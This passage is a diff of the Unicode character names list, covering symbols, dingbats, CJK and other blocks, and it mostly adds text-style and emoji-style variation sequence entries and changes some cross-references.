FE0E text style + ~ 25B6 FE0F emoji style 25B7 WHITE RIGHT-POINTING TRIANGLE = z notation range restriction 25B8 BLACK RIGHT-POINTING SMALL TRIANGLE @@ -15543,7 +15289,6 @@ x (contains as normal subgroup - 22B3) 25BC BLACK DOWN-POINTING TRIANGLE x (black medium down-pointing triangle - 23F7) - x (black medium down-pointing triangle centred - 2BC6) x (down-pointing red triangle - 1F53B) 25BD WHITE DOWN-POINTING TRIANGLE = Hamilton operator @@ -15555,7 +15300,8 @@ 25BF WHITE DOWN-POINTING SMALL TRIANGLE 25C0 BLACK LEFT-POINTING TRIANGLE x (black medium left-pointing triangle - 23F4) - x (black medium left-pointing triangle centred - 2BC7) + ~ 25C0 FE0E text style + ~ 25C0 FE0F emoji style 25C1 WHITE LEFT-POINTING TRIANGLE = z notation domain restriction 25C2 BLACK LEFT-POINTING SMALL TRIANGLE @@ -15662,15 +15408,24 @@ = always (modal operator) x (white square - 25A1) x (white square with leftwards tick - 27E4) + ~ 25FB FE0E text style + ~ 25FB FE0F emoji style 25FC BLACK MEDIUM SQUARE x (black square for stop - 23F9) x (black square - 25A0) + ~ 25FC FE0E text style + ~ 25FC FE0F emoji style 25FD WHITE MEDIUM SMALL SQUARE x (white small square - 25AB) + ~ 25FD FE0E text style + ~ 25FD FE0F emoji style 25FE BLACK MEDIUM SMALL SQUARE x (black small square - 25AA) + ~ 25FE FE0E text style + ~ 25FE FE0F emoji style 25FF LOWER RIGHT TRIANGLE x (right triangle - 22BF) +@~ ! @@ 2600 Miscellaneous Symbols 26FF @@+ @ Weather and astrological symbols @@ -15678,21 +15433,28 @@ = clear weather x (sun - 2609) x (high brightness symbol - 1F506) + ~ 2600 FE0E text style + ~ 2600 FE0F emoji style 2601 CLOUD = cloudy weather + ~ 2601 FE0E text style + ~ 2601 FE0F emoji style 2602 UMBRELLA = rainy weather x (closed umbrella - 1F302) + ~ 2602 FE0E text style + ~ 2602 FE0F emoji style 2603 SNOWMAN = snowy weather + ~ 2603 FE0E text style + ~ 2603 FE0F emoji style 2604 COMET + ~ 2604 FE0E text style + ~ 2604 FE0F emoji style 2605 BLACK STAR x (star operator - 22C6) - x (black small star - 2B51) - x (light five pointed black star - 1F7C9) 2606 WHITE STAR x (stress outlined white star - 2729) - x (white medium star - 2B50) x (glowing star - 1F31F) 2607 LIGHTNING 2608 THUNDERSTORM @@ -15716,12 +15478,16 @@ x (telephone location sign - 2706) x (telephone receiver - 1F4DE) x (black touchtone telephone - 1F57F) + ~ 260E FE0E text style + ~ 260E FE0F emoji style 260F WHITE TELEPHONE x (white touchtone telephone - 1F57E) 2610 BALLOT BOX x (white square - 25A1) 2611 BALLOT BOX WITH CHECK x (ballot box with bold check - 1F5F9) + ~ 2611 FE0E text style + ~ 2611 FE0F emoji style 2612 BALLOT BOX WITH X x (squared times - 22A0) x (ballot box with light x - 2BBD) @@ -15734,6 +15500,8 @@ @ Weather symbol 2614 UMBRELLA WITH RAIN DROPS = showery weather + ~ 2614 FE0E text style + ~ 2614 FE0F emoji style @ Miscellaneous symbol 2615 HOT BEVERAGE = tea or coffee, depending on locale @@ -15741,12 +15509,16 @@ x (watch - 231A) x (hourglass - 231B) x (teacup without handle - 1F375) + ~ 2615 FE0E text style + ~ 2615 FE0F emoji style @ Japanese chess symbols 2616 WHITE SHOGI PIECE 2617 BLACK SHOGI PIECE @ Miscellaneous symbols 2618 SHAMROCK x (four leaf clover - 1F340) + ~ 2618 FE0E text style + ~ 2618 FE0F emoji style 2619 REVERSED ROTATED FLORAL HEART BULLET * a binding signature mark x (rotated floral heart bullet - 2767) @@ -15759,6 +15531,8 @@ x (sideways white left pointing index - 1F598) 261D WHITE UP POINTING INDEX x (sideways white up pointing index - 1F59E) + ~ 261D FE0E text style + ~ 261D FE0F emoji style 261E WHITE RIGHT POINTING INDEX = fist (typographic term) x (sideways white right pointing index - 1F599) @@ -15769,9 +15543,15 @@ 2620 SKULL AND CROSSBONES = poison x (black skull and crossbones - 1F571) + ~ 2620 FE0E text style + ~ 2620 FE0F emoji style 2621 CAUTION SIGN 2622 RADIOACTIVE SIGN + ~ 2622 FE0E text style + ~ 2622 FE0F emoji style 2623 BIOHAZARD SIGN + ~ 2623 FE0E text style + ~ 2623 FE0F emoji style @ Medical and healing symbols 2624 CADUCEUS x (staff of aesculapius - 2695) @@ -15779,23 +15559,29 @@ 2625 ANKH @ Religious and political symbols 2626 ORTHODOX CROSS + ~ 2626 FE0E text style + ~ 2626 FE0F emoji style 2627 CHI RHO = Constantine's cross, Christogram x (coptic symbol khi ro - 2CE9) 2628 CROSS OF LORRAINE 2629 CROSS OF JERUSALEM - = simple cross potent - * contrasts with the actual cross of Jerusalem, which adds a small crosslet at each corner x (alchemical symbol for vinegar - 1F70A) 262A STAR AND CRESCENT + ~ 262A FE0E text style + ~ 262A FE0F emoji style 262B FARSI SYMBOL = symbol of iran (1.0) 262C ADI SHAKTI = Gurmukhi khanda 262D HAMMER AND SICKLE 262E PEACE SYMBOL + ~ 262E FE0E text style + ~ 262E FE0F emoji style 262F YIN YANG x (tibetan symbol nor bu nyis -khyil - 0FCA) + ~ 262F FE0E text style + ~ 262F FE0F emoji style @ Yijing trigram symbols 2630 TRIGRAM FOR HEAVEN = qian2 @@ -15816,13 +15602,19 @@ @ Miscellaneous symbol 2638 WHEEL OF DHARMA x (helm symbol - 2388) + ~ 2638 FE0E text style + ~ 2638 FE0F emoji style @ Emoticons @+ Many other emoticons are encoded in the Emoticons block starting at 1F600. 2639 WHITE FROWNING FACE x (slightly frowning face - 1F641) + ~ 2639 FE0E text style + ~ 2639 FE0F emoji style 263A WHITE SMILING FACE x (slightly smiling face - 1F642) = have a nice day! + ~ 263A FE0E text style + ~ 263A FE0F emoji style 263B BLACK SMILING FACE @ Miscellaneous symbol 263C WHITE SUN WITH RAYS @@ -15865,27 +15657,51 @@ @+ See also Asian zodiacal symbols among the animal symbols in the range 1F400-1F418. 2648 ARIES x (ram - 1F40F) + ~ 2648 FE0E text style + ~ 2648 FE0F emoji style 2649 TAURUS + ~ 2649 FE0E text style + ~ 2649 FE0F emoji style 264A GEMINI + ~ 264A FE0E text style + ~ 264A FE0F emoji style 264B CANCER x (crab - 1F980) + ~ 264B FE0E text style + ~ 264B FE0F emoji style 264C LEO x (lion face - 1F981) + ~ 264C FE0E text style + ~ 264C FE0F emoji style 264D VIRGO = minim (alternate glyph) + ~ 264D FE0E text style + ~ 264D FE0F emoji style 264E LIBRA x (scales - 2696) x (alchemical symbol for sublimation - 1F75E) + ~ 264E FE0E text style + ~ 264E FE0F emoji style 264F SCORPIUS = scorpio = minim, drop x (scorpion - 1F982) + ~ 264F FE0E text style + ~ 264F FE0F emoji style 2650 SAGITTARIUS x (bow and arrow - 1F3F9) + ~ 2650 FE0E text style + ~ 2650 FE0F emoji style 2651 CAPRICORN + ~ 2651 FE0E text style + ~ 2651 FE0F emoji style 2652 AQUARIUS x (amphora - 1F3FA) + ~ 2652 FE0E text style + ~ 2652 FE0F emoji style 2653 PISCES + ~ 2653 FE0E text style + ~ 2653 FE0F emoji style @ Chess symbols 2654 WHITE CHESS KING 2655 WHITE CHESS QUEEN @@ -15901,12 +15717,16 @@ 265F BLACK CHESS PAWN @ Playing card symbols 2660 BLACK SPADE SUIT + ~ 2660 FE0E text style + ~ 2660 FE0F emoji style 2661 WHITE HEART SUIT 2662 WHITE DIAMOND SUIT x (white diamond - 25C7) x (lozenge - 25CA) 2663 BLACK CLUB SUIT x (shamrock - 2618) + ~ 2663 FE0E text style + ~ 2663 FE0F emoji style 2664 WHITE SPADE SUIT 2665 BLACK HEART SUIT = valentine @@ -15914,11 +15734,17 @@ x (heart with tip on the left - 1F394) x (blue heart - 1F499) x (black heart - 1F5A4) + ~ 2665 FE0E text style + ~ 2665 FE0F emoji style 2666 BLACK DIAMOND SUIT x (black diamond - 25C6) + ~ 2666 FE0E text style + ~ 2666 FE0F emoji style 2667 WHITE CLUB SUIT @ Miscellaneous symbol 2668 HOT SPRINGS + ~ 2668 FE0E text style + ~ 2668 FE0F emoji style @ Musical symbols 2669 QUARTER NOTE = crotchet @@ -15963,6 +15789,8 @@ * used together with other text and labels to indicate the type of material to be recycled 267B BLACK UNIVERSAL RECYCLING SYMBOL x (clockwise rightwards and leftwards open circle arrows - 1F501) + ~ 267B FE0E text style + ~ 267B FE0F emoji style 267C RECYCLED PAPER SYMBOL * used to indicate 100% recycled paper content 267D PARTIALLY-RECYCLED PAPER SYMBOL @@ -15970,6 +15798,8 @@ @ Miscellaneous symbols 267E PERMANENT PAPER SIGN 267F WHEELCHAIR SYMBOL + ~ 267F FE0E text style + ~ 267F FE0F emoji style @ Dice 2680 DIE FACE-1 x (game die - 1F3B2) @@ -16000,11 +15830,17 @@ = mining, working day (in timetables) x (pick - 26CF) x (hammer and wrench - 1F6E0) + ~ 2692 FE0E text style + ~ 2692 FE0F emoji style 2693 ANCHOR = nautical term, harbor (on maps) + ~ 2693 FE0E text style + ~ 2693 FE0F emoji style 2694 CROSSED SWORDS = military term, battleground (on maps), killed in action x (fencer - 1F93A) + ~ 2694 FE0E text style + ~ 2694 FE0F emoji style 2695 STAFF OF AESCULAPIUS = medical term * both inclined or upright renderings of this symbol are common @@ -16013,9 +15849,13 @@ 2696 SCALES = legal term, jurisprudence x (libra - 264E) + ~ 2696 FE0E text style + ~ 2696 FE0F emoji style 2697 ALEMBIC = chemical term, chemistry x (alchemical symbol for retort - 1F76D) + ~ 2697 FE0E text style + ~ 2697 FE0F emoji style 2698 FLOWER = botanical term x (flower punctuation mark - 2055) @@ -16023,13 +15863,19 @@ x (tulip - 1F337) 2699 GEAR = technology, tools + ~ 2699 FE0E text style + ~ 2699 FE0F emoji style 269A STAFF OF HERMES * signifies a commercial term or commerce * glyph shows a heraldic staff with a winged wheel 269B ATOM SYMBOL = nuclear installation (on maps) + ~ 269B FE0E text style + ~ 269B FE0F emoji style @ Miscellaneous symbols 269C FLEUR-DE-LIS + ~ 269C FE0E text style + ~ 269C FE0F emoji style 269D OUTLINED WHITE STAR * alternative form of the interlaced pentagram (a symbol of Morocco) x (right-handed interlaced pentagram - 26E5) @@ -16043,10 +15889,14 @@ @ Miscellaneous symbols 26A0 WARNING SIGN x (octagonal sign - 1F6D1) + ~ 26A0 FE0E text style + ~ 26A0 FE0F emoji style 26A1 HIGH VOLTAGE SIGN = thunder = lightning symbol x (lightning mood - 1F5F2) + ~ 26A1 FE0E text style + ~ 26A1 FE0F emoji style @ Gender symbols 26A2 DOUBLED FEMALE SIGN = lesbianism @@ -16076,9 +15926,13 @@ = engaged, betrothed * base for male or female sign x (medium bold white circle - 1F785) + ~ 26AA FE0E text style + ~ 26AA FE0F emoji style 26AB MEDIUM BLACK CIRCLE * UI symbol for record function x (black circle for record - 23FA) + ~ 26AB FE0E text style + ~ 26AB FE0F emoji style 26AC MEDIUM SMALL WHITE CIRCLE = engaged, betrothed (genealogy) * can represent wedding ring @@ -16093,8 +15947,12 @@ 26B0 COFFIN = buried (genealogy) x (white rectangle - 25AD) + ~ 26B0 FE0E text style + ~ 26B0 FE0F emoji style 26B1 FUNERAL URN = cremated (genealogy) + ~ 26B1 FE0E text style + ~ 26B1 FE0F emoji style @ Gender symbol 26B2 NEUTER @ Astrological signs @@ -16116,7 +15974,11 @@ @ Sport symbols @+ See other sport symbols in the Miscellaneous Symbols and Pictographs block. 26BD SOCCER BALL + ~ 26BD FE0E text style + ~ 26BD FE0F emoji style 26BE BASEBALL + ~ 26BE FE0E text style + ~ 26BE FE0F emoji style @ Miscellaneous symbol from ARIB STD B24 26BF SQUARED KEY = parental lock @@ -16129,9 +15991,13 @@ @ Weather symbols from ARIB STD B24 26C4 SNOWMAN WITHOUT SNOW = light snow + ~ 26C4 FE0E text style + ~ 26C4 FE0F emoji style 26C5 SUN BEHIND CLOUD = partly cloudy x (white sun with small cloud - 1F324) + ~ 26C5 FE0E text style + ~ 26C5 FE0F emoji style 26C6 RAIN = rainy weather 26C7 BLACK SNOWMAN @@ -16139,6 +16005,8 @@ 26C8 THUNDER CLOUD AND RAIN = thunderstorm x (cloud with lightning - 1F329) + ~ 26C8 FE0E text style + ~ 26C8 FE0F emoji style @ Game symbols from ARIB STD B24 26C9 TURNED WHITE SHOGI PIECE 26CA TURNED BLACK SHOGI PIECE @@ -16156,18 +16024,26 @@ = under construction x (hammer and pick - 2692) x (construction sign - 1F6A7) + ~ 26CF FE0E text style + ~ 26CF FE0F emoji style 26D0 CAR SLIDING = icy road 26D1 HELMET WITH WHITE CROSS = maintenance x (construction worker - 1F477) + ~ 26D1 FE0E text style + ~ 26D1 FE0F emoji style 26D2 CIRCLED CROSSING LANES = road closed x (circled times - 2297) 26D3 CHAINS = tyre chains required + ~ 26D3 FE0E text style + ~ 26D3 FE0F emoji style 26D4 NO ENTRY x (no entry sign - 1F6AB) + ~ 26D4 FE0E text style + ~ 26D4 FE0F emoji style 26D5 ALTERNATE ONE-WAY LEFT WAY TRAFFIC * left side traffic 26D6 BLACK TWO-WAY LEFT WAY TRAFFIC @@ -16218,7 +16094,11 @@ x (hospital - 1F3E5) 26E9 SHINTO SHRINE = torii + ~ 26E9 FE0E text style + ~ 26E9 FE0F emoji style 26EA CHURCH + ~ 26EA FE0E text style + ~ 26EA FE0F emoji style 26EB CASTLE x (european castle - 1F3F0) 26EC HISTORIC SITE @@ -16231,46 +16111,70 @@ = power plant, power substation 26EF MAP SYMBOL FOR LIGHTHOUSE 26F0 MOUNTAIN + x (black up-pointing triangle - 25B2) x (snow capped mountain - 1F3D4) + ~ 26F0 FE0E text style + ~ 26F0 FE0F emoji style 26F1 UMBRELLA ON GROUND = bathing beach x (umbrella - 2602) x (beach with umbrella - 1F3D6) + ~ 26F1 FE0E text style + ~ 26F1 FE0F emoji style 26F2 FOUNTAIN = park + ~ 26F2 FE0E text style + ~ 26F2 FE0F emoji style 26F3 FLAG IN HOLE = golf course x (triangular flag on post - 1F6A9) + ~ 26F3 FE0E text style + ~ 26F3 FE0F emoji style 26F4 FERRY = ferry boat terminal x (ship - 1F6A2) + ~ 26F4 FE0E text style + ~ 26F4 FE0F emoji style 26F5 SAILBOAT = marina or yacht harbour x (rowboat - 1F6A3) + ~ 26F5 FE0E text style + ~ 26F5 FE0F emoji style 26F6 SQUARE FOUR CORNERS = intersection 26F7 SKIER = ski resort x (ski and ski boot - 1F3BF) + ~ 26F7 FE0E text style + ~ 26F7 FE0F emoji style 26F8 ICE SKATE = ice skating rink + ~ 26F8 FE0E text style + ~ 26F8 FE0F emoji style 26F9 PERSON WITH BALL = track and field, gymnasium + ~ 26F9 FE0E text style + ~ 26F9 FE0F emoji style 26FA TENT = camping site x (camping - 1F3D5) + ~ 26FA FE0E text style + ~ 26FA FE0F emoji style 26FB JAPANESE BANK SYMBOL x (bank - 1F3E6) 26FC HEADSTONE GRAVEYARD SYMBOL = graveyard, memorial park, cemetery 26FD FUEL PUMP = petrol station, gas station + ~ 26FD FE0E text style + ~ 26FD FE0F emoji style 26FE CUP ON BLACK SQUARE = drive-in restaurant x (hot beverage - 2615) x (teacup without handle - 1F375) 26FF WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE = Japanese self-defence force site +@~ ! @@ 2700 Dingbats 27BF @+ ITC Zapf dingbats series 100. Some of the ITC Zapf dingbats have been unified with geometric shape characters. Gaps in the chart have subsequently been filled with other dingbat-like symbols. x (black telephone - 260E) @@ -16290,6 +16194,8 @@ * forms a pair with 2704 white scissors 2701 UPPER BLADE SCISSORS 2702 BLACK SCISSORS + ~ 2702 FE0E text style + ~ 2702 FE0F emoji style 2703 LOWER BLADE SCISSORS 2704 WHITE SCISSORS 2705 WHITE HEAVY CHECK MARK @@ -16300,9 +16206,13 @@ 2707 TAPE DRIVE 2708 AIRPLANE x (up-pointing airplane - 1F6E7) + ~ 2708 FE0E text style + ~ 2708 FE0F emoji style 2709 ENVELOPE x (incoming envelope - 1F4E8) x (back of envelope - 1F582) + ~ 2709 FE0E text style + ~ 2709 FE0F emoji style 270A RAISED FIST = rock in Rock, Paper, Scissors game x (fisted hand sign - 1F44A) @@ -16313,23 +16223,35 @@ 270C VICTORY HAND = scissors in Rock, Paper, Scissors game x (reversed victory hand - 1F594) + ~ 270C FE0E text style + ~ 270C FE0F emoji style 270D WRITING HAND x (left writing hand - 1F58E) + ~ 270D FE0E text style + ~ 270D FE0F emoji style 270E LOWER RIGHT PENCIL x (lower left pencil - 1F589) 270F PENCIL + ~ 270F FE0E text style + ~ 270F FE0F emoji style 2710 UPPER RIGHT PENCIL 2711 WHITE NIB x (lower left fountain pen - 1F58B) 2712 BLACK NIB + ~ 2712 FE0E text style + ~ 2712 FE0F emoji style 2713 CHECK MARK x (square root - 221A) x (light check mark - 1F5F8) 2714 HEAVY CHECK MARK + ~ 2714 FE0E text style + ~ 2714 FE0F emoji style 2715 MULTIPLICATION X x (multiplication sign - 00D7) x (box drawings light diagonal cross - 2573) 2716 HEAVY MULTIPLICATION X + ~ 2716 FE0E text style + ~ 2716 FE0F emoji style 2717 BALLOT X x (saltire - 2613) x (ballot script x - 1F5F4) @@ -16342,15 +16264,18 @@ 271B OPEN CENTRE CROSS 271C HEAVY OPEN CENTRE CROSS 271D LATIN CROSS + ~ 271D FE0E text style + ~ 271D FE0F emoji style 271E SHADOWED WHITE LATIN CROSS x (white latin cross - 1F546) 271F OUTLINED LATIN CROSS 2720 MALTESE CROSS * Historically, the Maltese cross took many forms; the shape shown in the Zapf Dingbats is similar to one known as the Cross Formée. - x (circled cross formee - 1F902) @ Stars and asterisks 2721 STAR OF DAVID x (six pointed star with middle dot - 1F52F) + ~ 2721 FE0E text style + ~ 2721 FE0F emoji style 2722 FOUR TEARDROP-SPOKED ASTERISK 2723 FOUR BALLOON-SPOKED ASTERISK 2724 HEAVY FOUR BALLOON-SPOKED ASTERISK @@ -16376,7 +16301,11 @@ 2732 OPEN CENTRE ASTERISK 2733 EIGHT SPOKED ASTERISK x (light eight spoked asterisk - 1F7BB) + ~ 2733 FE0E text style + ~ 2733 FE0F emoji style 2734 EIGHT POINTED BLACK STAR + ~ 2734 FE0E text style + ~ 2734 FE0F emoji style 2735 EIGHT POINTED PINWHEEL STAR x (heavy eight pointed pinwheel star - 1F7D1) 2736 SIX POINTED BLACK STAR @@ -16403,9 +16332,13 @@ 2742 CIRCLED OPEN CENTRE EIGHT POINTED STAR 2743 HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK 2744 SNOWFLAKE + ~ 2744 FE0E text style + ~ 2744 FE0F emoji style 2745 TIGHT TRIFOLIATE SNOWFLAKE 2746 HEAVY CHEVRON SNOWFLAKE 2747 SPARKLE + ~ 2747 FE0E text style + ~ 2747 FE0F emoji style 2748 HEAVY SPARKLE 2749 BALLOON-SPOKED ASTERISK = jack @@ -16430,6 +16363,8 @@ 2756 BLACK DIAMOND MINUS WHITE X 2757 HEAVY EXCLAMATION MARK SYMBOL = obstacles on the road, ARIB STD B24 + ~ 2757 FE0E text style + ~ 2757 FE0F emoji style 2758 LIGHT VERTICAL BAR x (vertical line - 007C) 2759 MEDIUM VERTICAL BAR @@ -16455,8 +16390,12 @@ 2762 HEAVY EXCLAMATION MARK ORNAMENT x (exclamation mark - 0021) 2763 HEAVY HEART EXCLAMATION MARK ORNAMENT + ~ 2763 FE0E text style + ~ 2763 FE0F emoji style 2764 HEAVY BLACK HEART x (black heart suit - 2665) + ~ 2764 FE0E text style + ~ 2764 FE0F emoji style 2765 ROTATED HEAVY BLACK HEART BULLET @ Fleurons 2766 FLORAL HEART @@ -16545,6 +16484,8 @@ * fonts may harmonize this glyph with the style for other black arrows x (leftwards black arrow - 2B05) x (rightwards black arrow - 2B95) + ~ 27A1 FE0E text style + ~ 27A1 FE0F emoji style 27A2 THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD x (three-d top-lighted rightwards equilateral arrowhead - 2B9A) 27A3 THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD @@ -16589,6 +16530,7 @@ 27BE OPEN-OUTLINED RIGHTWARDS ARROW @ Miscellaneous 27BF DOUBLE CURLY LOOP +@~ ! @@ 27C0 Miscellaneous Mathematical Symbols-A 27EF @ Miscellaneous symbols 27C0 THREE DIMENSIONAL ANGLE @@ -17117,7 +17059,11 @@ x (rightwards wave arrow - 219D) x (wave arrow pointing directly left - 2B3F) 2934 ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS + ~ 2934 FE0E text style + ~ 2934 FE0F emoji style 2935 ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS + ~ 2935 FE0E text style + ~ 2935 FE0F emoji style 2936 ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS 2937 ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS 2938 RIGHT-SIDE ARC CLOCKWISE ARROW @@ -17210,6 +17156,7 @@ 297D RIGHT FISH TAIL 297E UP FISH TAIL 297F DOWN FISH TAIL +@~ ! @@ 2980 Miscellaneous Mathematical Symbols-B 29FF @ Miscellaneous mathematical symbols 2980 TRIPLE VERTICAL BAR DELIMITER @@ -17391,7 +17338,6 @@ 29E7 THERMODYNAMIC * vertical bar crossed by two horizontals x (not equal to - 2260) - x (group mark - 2BD2) 29E8 DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK x (up-pointing triangle with left half black - 25ED) 29E9 DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK @@ -17865,8 +17811,14 @@ 2B05 LEFTWARDS BLACK ARROW x (black rightwards arrow - 27A1) x (rightwards black arrow - 2B95) + ~ 2B05 FE0E text style + ~ 2B05 FE0F emoji style 2B06 UPWARDS BLACK ARROW + ~ 2B06 FE0E text style + ~ 2B06 FE0F emoji style 2B07 DOWNWARDS BLACK ARROW + ~ 2B07 FE0E text style + ~ 2B07 FE0F emoji style 2B08 NORTH EAST BLACK ARROW 2B09 NORTH WEST BLACK ARROW 2B0A SOUTH EAST BLACK ARROW @@ -17894,8 +17846,12 @@ 2B1A DOTTED SQUARE 2B1B BLACK LARGE SQUARE x (black square - 25A0) + ~ 2B1B FE0E text style + ~ 2B1B FE0F emoji style 2B1C WHITE LARGE SQUARE x (white square - 25A1) + ~ 2B1C FE0E text style + ~ 2B1C FE0F emoji style 2B1D BLACK VERY SMALL SQUARE x (black small square - 25AA) 2B1E WHITE VERY SMALL SQUARE @@ -18004,11 +17960,11 @@ * slight fall or overall fall in tone when at the end of a word or at the beginning of a phrase, respectively @ Stars 2B50 WHITE MEDIUM STAR - x (white star - 2606) + x (star operator - 22C6) + ~ 2B50 FE0E text style + ~ 2B50 FE0F emoji style 2B51 BLACK SMALL STAR x (arabic five pointed star - 066D) - x (star operator - 22C6) - x (black star - 2605) 2B52 WHITE SMALL STAR @ Pentagons 2B53 BLACK RIGHT-POINTING PENTAGON @@ -18018,6 +17974,8 @@ = basic symbol for speed limit * forms a game tally pair with 274C x (large circle - 25EF) + ~ 2B55 FE0E text style + ~ 2B55 FE0F emoji style @ Dictionary and map symbols from ARIB STD B24 2B56 HEAVY OVAL WITH OVAL INSIDE = prefectural office @@ -18098,11 +18056,9 @@ = end 2B79 SOUTH WEST TRIANGLE-HEADED ARROW TO BAR 2B7A LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE - % LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE 2B7B UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE = page up 2B7C RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE - % RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE 2B7D DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE = page down @ Keyboard symbols @@ -18216,16 +18172,11 @@ 2BC1 BLACK DIAMOND CENTRED 2BC2 TURNED BLACK PENTAGON 2BC3 HORIZONTAL BLACK OCTAGON - x (octagonal sign - 1F6D1) 2BC4 BLACK OCTAGON 2BC5 BLACK MEDIUM UP-POINTING TRIANGLE CENTRED - x (black up-pointing triangle - 25B2) 2BC6 BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED - x (black down-pointing triangle - 25BC) 2BC7 BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED - x (black left-pointing triangle - 25C0) 2BC8 BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED - x (black right-pointing triangle - 25B6) @ Half circles 2BCA TOP HALF BLACK CIRCLE 2BCB BOTTOM HALF BLACK CIRCLE @@ -18244,10 +18195,6 @@ = query x (apl functional symbol quad question - 2370) x (replacement character - FFFD) -2BD2 GROUP MARK - * formerly used as a separator character for I/O operations - x (double dagger - 2021) - x (thermodynamic - 29E7) @ Two-headed arrow symbols @+ The following four arrow symbols are the preferred representation for fast cursor direction for ISO 9995-7. 2BEC LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS @@ -18259,6 +18206,7 @@ = fast cursor right 2BEF DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS = fast cursor down +@~ ! @@ 2C00 Glagolitic 2C5F @ Capital letters 2C00 GLAGOLITIC CAPITAL LETTER AZU @@ -18976,14 +18924,6 @@ 2E43 DASH WITH LEFT UPTURN @ Miscellaneous punctuation 2E44 DOUBLE SUSPENSION MARK -@ Typicon punctuation -2E45 INVERTED LOW KAVYKA -2E46 INVERTED LOW KAVYKA WITH KAVYKA ABOVE - x (modifier breve with inverted breve - AB5B) -2E47 LOW KAVYKA - x (cyrillic kavyka - A67E) -2E48 LOW KAVYKA WITH DOT -2E49 DOUBLE STACKED COMMA @@ 2E80 CJK Radicals Supplement 2EFF @ CJK radicals supplement 2E80 CJK RADICAL REPEAT @@ -19809,20 +19749,19 @@ = single dot Bangjeom 302F HANGUL DOUBLE DOT TONE MARK = double dot Bangjeom -@ Other CJK punctuation +@ Other CJK symbols 3030 WAVY DASH x (wavy line - 2307) x (wave dash - 301C) -@ Kana repeat marks -@+ These characters are only used in vertical writing of Japanese. + ~ 3030 FE0E text style + ~ 3030 FE0F emoji style 3031 VERTICAL KANA REPEAT MARK 3032 VERTICAL KANA REPEAT WITH VOICED SOUND MARK - * implemented as glyphs that are two-em tall + * the preceding two semantic characters are preferred to the following three glyphic forms 3033 VERTICAL KANA REPEAT MARK UPPER HALF 3034 VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF - * implemented as glyphs that are one-em tall and that combine with the following character to form ligated two-em glyphs for the complete repeat marks + * the preceding two are glyphs used in conjunction with the following glyph 3035 VERTICAL KANA REPEAT MARK LOWER HALF -@ Other CJK symbols 3036 CIRCLED POSTAL MARK # 3012 postal mark 3037 IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL @@ -19840,12 +19779,15 @@ x (squared rising diagonal slash - 29C4) 303D PART ALTERNATION MARK * marks the start of a song part in Japanese + ~ 303D FE0E text style + ~ 303D FE0F emoji style @ Special CJK indicators @+ These are visibly displayed graphic characters, not invisible format control characters. 303E IDEOGRAPHIC VARIATION INDICATOR * visual indicator that the following ideograph is to be taken as a variant of the intended character 303F IDEOGRAPHIC HALF FILL SPACE * visual indicator of a screen space for half of an ideograph +@~ ! @@ 3040 Hiragana 309F @ Hiragana letters 3041 HIRAGANA LETTER SMALL A @@ -20176,11 +20118,9 @@ 312A BOPOMOFO LETTER V 312B BOPOMOFO LETTER NG 312C BOPOMOFO LETTER GN -@ Miscellaneous additions +@ Miscellaneous addition 312D BOPOMOFO LETTER IH * for analytic representation of apical vowel -312E BOPOMOFO LETTER O WITH DOT ABOVE - * early form of letter e @@ 3130 Hangul Compatibility Jamo 318F @ Consonant letters 3131 HANGUL LETTER KIYEOK @@ -20897,10 +20837,14 @@ 3296 CIRCLED IDEOGRAPH FINANCIAL # 8CA1 3297 CIRCLED IDEOGRAPH CONGRATULATION + ~ 3297 FE0E text style + ~ 3297 FE0F emoji style # 795D 3298 CIRCLED IDEOGRAPH LABOR # 52B4 3299 CIRCLED IDEOGRAPH SECRET + ~ 3299 FE0E text style + ~ 3299 FE0F emoji style # 79D8 329A CIRCLED IDEOGRAPH MALE # 7537 @@ -21110,6 +21054,7 @@ # 30F1 32FE CIRCLED KATAKANA WO # 30F2 +@~ ! @@ 3300 CJK Compatibility 33FF @ Squared Katakana words 3300 SQUARE APAATO @@ -21245,8 +21190,7 @@ * percent # 30D1 30FC 30BB 30F3 30C8 332C SQUARE PAATU - * a mistaken, unused representation originally intended for the Thai baht currency sign - x (thai currency symbol baht - 0E3F) + * parts # 30D1 30FC 30C4 332D SQUARE BAARERU * barrel @@ -21793,7 +21737,7 @@ 4DFD HEXAGRAM FOR SMALL PREPONDERANCE 4DFE HEXAGRAM FOR AFTER COMPLETION 4DFF HEXAGRAM FOR BEFORE COMPLETION -@@ 4E00 CJK Unified Ideographs 9FEA +@@ 4E00 CJK Unified Ideographs 9FD5 @@ A000 Yi Syllables A48F @@+ @ Syllables @@ -23517,15 +23461,12 @@ A67B COMBINING CYRILLIC LETTER OMEGA A67C COMBINING CYRILLIC KAVYKA * indicates an alternative reading to part of a word x (combining breve - 0306) - x (combining kavyka above right - 1DF6) - x (combining kavyka above left - 1DF7) A67D COMBINING CYRILLIC PAYEROK * may indicate an omitted yer x (combining vertical tilde - 033E) @ Punctuation mark A67E CYRILLIC KAVYKA * used to mark off word that has alternative reading - x (low kavyka - 2E47) @ Modifier letter A67F CYRILLIC PAYEROK * may indicate an omitted yer @@ -24360,8 +24301,6 @@ A8FB DEVANAGARI HEADSTROKE A8FC DEVANAGARI SIGN SIDDHAM = siddhirastu * used at the beginning of texts as an invocation - x (tibetan 